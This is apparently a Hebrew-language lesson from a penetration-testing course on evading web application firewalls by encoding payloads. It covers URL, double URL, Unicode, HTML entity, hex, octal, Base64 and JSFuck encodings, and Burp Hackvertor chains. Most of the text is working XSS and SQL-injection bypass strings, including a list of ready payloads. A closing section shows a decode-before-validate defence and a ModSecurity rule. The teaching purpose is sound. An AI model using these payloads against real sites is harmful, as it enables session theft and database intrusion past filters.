הbypass באמצעות encoding - Encoding-based WAF Bypass¶
הרעיון המרכזי¶
רוב ה-WAFs מחפשים דפוסים בצורה הגולמית של הבקשה. אם נקודד את הpayload הזדוני בשיטת encoding שה-WAF לא מפענח אך השרת כן - נעקוף את ההגנה. הטריק הוא למצוא פער בין מה שה-WAF רואה למה שהאפליקציה מעבדת.
הencoding URL - URL Encoding¶
הencoding URL בודד - Single URL Encoding¶
הencoding הרגיל של תווים למבנה %XX לפי ערך ה-hex שלהם ב-ASCII:
דוגמאות:
# Original XSS payload
<script>alert(1)</script>
# With URL encoding
%3Cscript%3Ealert(1)%3C%2Fscript%3E
# Partial encoding - only certain characters
%3Cscript%3Ealert(1)%3C/script%3E
# Original SQLi payload
' UNION SELECT username, password FROM users--
# With URL encoding
%27%20UNION%20SELECT%20username%2C%20password%20FROM%20users--
רוב ה-WAFs מפענחים encoding URL בודד, אז טכניקה זו לבדה לרוב לא מספיקה.
הencoding URL כפול - Double URL Encoding¶
כאשר השרת מבצע שני שלבי decoding (למשל, reverse proxy שמפענח ואז השרת מפענח שוב), אפשר לקודד פעמיים:
# Step 1: < becomes %3C
# Step 2: % becomes %25, so %3C becomes %253C
# XSS payload with double encoding
%253Cscript%253Ealert(1)%253C%252Fscript%253E
# WAF sees: %3Cscript%3E (doesn't recognize it as a payload)
# Server decodes step 1: %3Cscript%3E
# Server decodes step 2: <script>alert(1)</script>
# SQLi with double encoding
1%2527%2520UNION%2520SELECT%25201--
# WAF sees: 1%27%20UNION%20SELECT%201--
# Server decodes: 1' UNION SELECT 1--
הencoding החלקי - Partial Encoding¶
הencoding רק חלק מהתווים כדי לשבור את הדפוס שה-WAF מחפש:
# WAF looks for: <script>
# We encode only part of the word
<%73cript>alert(1)</script> # encode 's'
<scr%69pt>alert(1)</script> # encode 'i'
<script>a%6cert(1)</script> # encode 'l' inside alert
הencoding Unicode - Unicode Encoding¶
רצפי Unicode Escape¶
בהקשרים של JavaScript, אפשר להשתמש ברצפי Unicode:
// Original
alert(1)
// With Unicode escapes
\u0061\u006c\u0065\u0072\u0074(1)
// Partial
al\u0065rt(1)
// Inside a string
eval('\u0061lert(1)')
הencoding UTF-8 ארוך - Overlong UTF-8 Encoding¶
ב-UTF-8, תווי ASCII (0x00-0x7F) מיוצגים בבית אחד. אבל אפשר לייצג אותם בצורה ארוכה יותר (לא חוקית לפי הסטנדרט, אך חלק מהפרסרים מקבלים):
# The character < (0x3C) in regular UTF-8: 0x3C (one byte)
# In a 2-byte long representation: 0xC0 0xBC
# In a 3-byte long representation: 0xE0 0x80 0xBC
# Example in an HTTP request (hex)
GET /?q=%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
תווי Unicode ברוחב מלא - Full-width Characters¶
תווי Unicode יפניים ברוחב מלא נראים דומה לתווי ASCII רגילים:
# Regular characters -> full-width characters
< -> < (U+FF1C)
> -> > (U+FF1E)
( -> ( (U+FF08)
) -> ) (U+FF09)
' -> ' (U+FF07)
# XSS payload with full-width characters
<script>alert(1)</script>
# If the application normalizes (NFKC), the characters turn back into regular characters
הexploit נורמליזציית Unicode¶
import unicodedata
# Demonstration - different characters that normalize to the same thing
payloads = [
"<script>", # full-width characters
"\uff1cscript\uff1e", # the same thing in escape form
]
for p in payloads:
normalized = unicodedata.normalize('NFKC', p)
print(f"Original: {p}")
print(f"After NFKC: {normalized}")
print()
# Output:
# Original: <script>
# After NFKC: <script>
הencoding Hex¶
ישויות HTML בהקסדצימלי - HTML Hex Entities¶
<!-- Original -->
<script>alert(1)</script>
<!-- With hex entities -->
<script>alert(1)</script>
<!-- With leading zeros (padding) -->
<script>alert(1)</script>
<!-- With optional semicolon (in some browsers) -->
<scriptϪlert(1)</script>
הencoding Hex ב-JavaScript¶
// Original
alert(1)
// With hex escapes
\x61\x6c\x65\x72\x74(1)
// Inside a string
eval("\x61\x6c\x65\x72\x74\x28\x31\x29")
// Can be combined with regular encoding
\x61lert(1)
ישויות HTML בעשרוני - Decimal HTML Entities¶
<!-- Original -->
<script>alert(1)</script>
<!-- With decimal entities -->
<script>alert(1)</script>
<!-- With leading zeros -->
<script>alert(1)</script>
<!-- Mixing hex and decimal -->
<script>alert(1)</script>
הencoding ישויות HTML - HTML Entity Encoding¶
ישויות בשם - Named Entities¶
<!-- Mainly relevant in the context of HTML attributes -->
<img src=x onerror="alert(1)">
<!-- Common entities -->
< = <
> = >
& = &
" = "
' = '
<!-- Usage inside an attribute -->
<a href="javascript:<script>alert(1)</script>">click</a>
ישויות עם אפסים מובילים - Zero-padded Entities¶
<!-- The browser decodes entities with leading zeros -->
< = < (with 5 zeros)
< = < (with 3 zeros)
< = < (with 1 zero)
<!-- Payload with zeros -->
<script>alert(1)</script>
<!-- WAF doesn't always know how to decode entities with zeros -->
שרשראות encoding - Mixed Encoding Chains¶
הטכניקה החזקה ביותר - שילוב מספר שכבות encoding:
# Layer 1: HTML entity encoding inside an attribute
<img src=x onerror="alert(1)">
# Layer 2: URL encoding of the HTML entities
<img src=x onerror="%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B1%26%2341%3B">
# Layer 3: double URL encoding
%3Cimg%20src%3Dx%20onerror%3D%22%2526%252397%253B%2526%2523108%253B%2526%2523101%253B%2526%2523114%253B%2526%2523116%253B%2526%252340%253B1%2526%252341%253B%22%3E
שרשרת encoding לbypass SQLi¶
# Original payload
' UNION SELECT password FROM users--
# Step 1: hex encode of strings
' UNION SELECT password FROM users--
-> ' UNION SELECT 0x70617373776f7264 FROM users--
# Step 2: URL encoding of the quote and spaces
%27%20UNION%20SELECT%200x70617373776f7264%20FROM%20users--
# Step 3: double URL encoding if relevant
%2527%2520UNION%2520SELECT%25200x70617373776f7264%2520FROM%2520users--
הencoding Base64 בהקשרים ספציפיים¶
// Using atob to decode Base64
eval(atob('YWxlcnQoMSk='))
// atob('YWxlcnQoMSk=') = 'alert(1)'
// Via Function constructor
new Function(atob('YWxlcnQoMSk='))()
// Via location
location='javascript:'+atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')
// atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') = 'alert(document.cookie)'
הencoding אוקטלי ב-JavaScript¶
// Original
alert(1)
// Octal inside a string
eval('\141\154\145\162\164\50\61\51')
// \141 = a, \154 = l, \145 = e, \162 = r, \164 = t, \50 = (, \61 = 1, \51 = )
// Combined with regular characters
eval('\141lert(1)')
<!-- In the context of HTML attributes -->
<img src=x onerror="eval('\141\154\145\162\164\50\61\51')">
JSFuck וקוד JavaScript לא אלפאנומרי¶
JSFuck הוא שיטה לכתוב כל קוד JavaScript עם 6 תווים בלבד: []()!+
// alert(1) in JSFuck
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+
[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][](<#>)+[])[+!+[]]+(![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][](<#>)+[])[+[]]+([]
[(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+
[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+
[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]
+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]
)()
// This code is fully valid and will run as alert(1)
// WAF almost certainly won't detect this
טכניקות נוספות של JavaScript לא אלפאנומרי:
// Using a constructor chain
[]['constructor']['constructor']('alert(1)')()
// With encoding
[][[]+[]][0]['constructor']('alert(1)')()
שימוש ב-Burp Hackvertor לשרשראות encoding¶
תוסף Hackvertor של Burp Suite מאפשר בניית שרשראות encoding בקלות:
# Hackvertor syntax - nested tags
<@urlencode><@hex_entities><script>alert(1)</script><@/hex_entities><@/urlencode>
# Double URL encoding
<@urlencode><@urlencode>' UNION SELECT 1--<@/urlencode><@/urlencode>
# Base64 then URL encode
<@urlencode><@base64>alert(document.cookie)<@/base64><@/urlencode>
# Complex chain
<@urlencode><@html_entities><@unicode_escapes>alert(1)<@/unicode_escapes><@/html_entities><@/urlencode>
דוגמה מעשית עם Burp Repeater¶
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
q=<@urlencode_all><script>alert(document.cookie)</script><@/urlencode_all>
התוסף יקודד אוטומטית לפני שליחת הבקשה:
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e
הpayloads מוכנים לbypass באמצעות encoding¶
הpayloads XSS¶
<!-- Double URL encoding -->
%253Csvg%2520onload%253Dalert(1)%253E
<!-- Mixed HTML entities -->
<img src=x onerror="alert(1)">
<!-- Unicode escapes inside JavaScript -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<!-- Base64 with eval -->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!-- Octal -->
<img src=x onerror="eval('\141\154\145\162\164\50\61\51')">
הpayloads SQLi¶
-- Hex encoding of strings
1' UNION SELECT 0x61646d696e, 0x70617373776f7264--
-- Double URL encoding of the quote and spaces
1%2527%2520UNION%2520SELECT%25201--
-- Combining CHAR() to build strings
1' UNION SELECT CHAR(97,100,109,105,110)--
-- Unicode encoding of critical characters
1\u0027 UNION SELECT 1--
הגנה - Decode Before Validate¶
העיקרון המרכזי בהגנה נגד bypasses encoding:
# Correct defense - decode before validating
import urllib.parse
import html
def sanitize_input(user_input):
# Step 1: URL decode (including double)
decoded = urllib.parse.unquote(user_input)
prev = None
while decoded != prev:
prev = decoded
decoded = urllib.parse.unquote(decoded)
# Step 2: decode HTML entities
decoded = html.unescape(decoded)
# Step 3: Unicode normalization
import unicodedata
decoded = unicodedata.normalize('NFKC', decoded)
# Step 4: check on the decoded form (canonical form)
if is_malicious(decoded):
raise SecurityException("Blocked!")
return decoded
# Correct ModSecurity rule - with transformations
SecRule ARGS "@rx <script>" \
"id:1001,\
phase:2,\
deny,\
t:urlDecode,\
t:urlDecode,\
t:htmlEntityDecode,\
t:lowercase,\
t:compressWhitespace"
הנקודה הקריטית: WAF שלא מבצע decode מספיק שכבות - פגיע לbypass באמצעות encoding.
סיכום¶
הbypass באמצעות encoding היא מהטכניקות הבסיסיות אך עדיין יעילות ביותר. המפתח הוא למצוא את הפער בין מה שה-WAF מפענח לבין מה שהאפליקציה מפענחת. שרשראות encoding מורכבות, שילוב של שיטות encoding שונות, וencoding חלקי - כולם כלים בארגז הכלים שלנו. בתרגיל הבא נתרגל טכניקות אלו מול כללי ModSecurity CRS.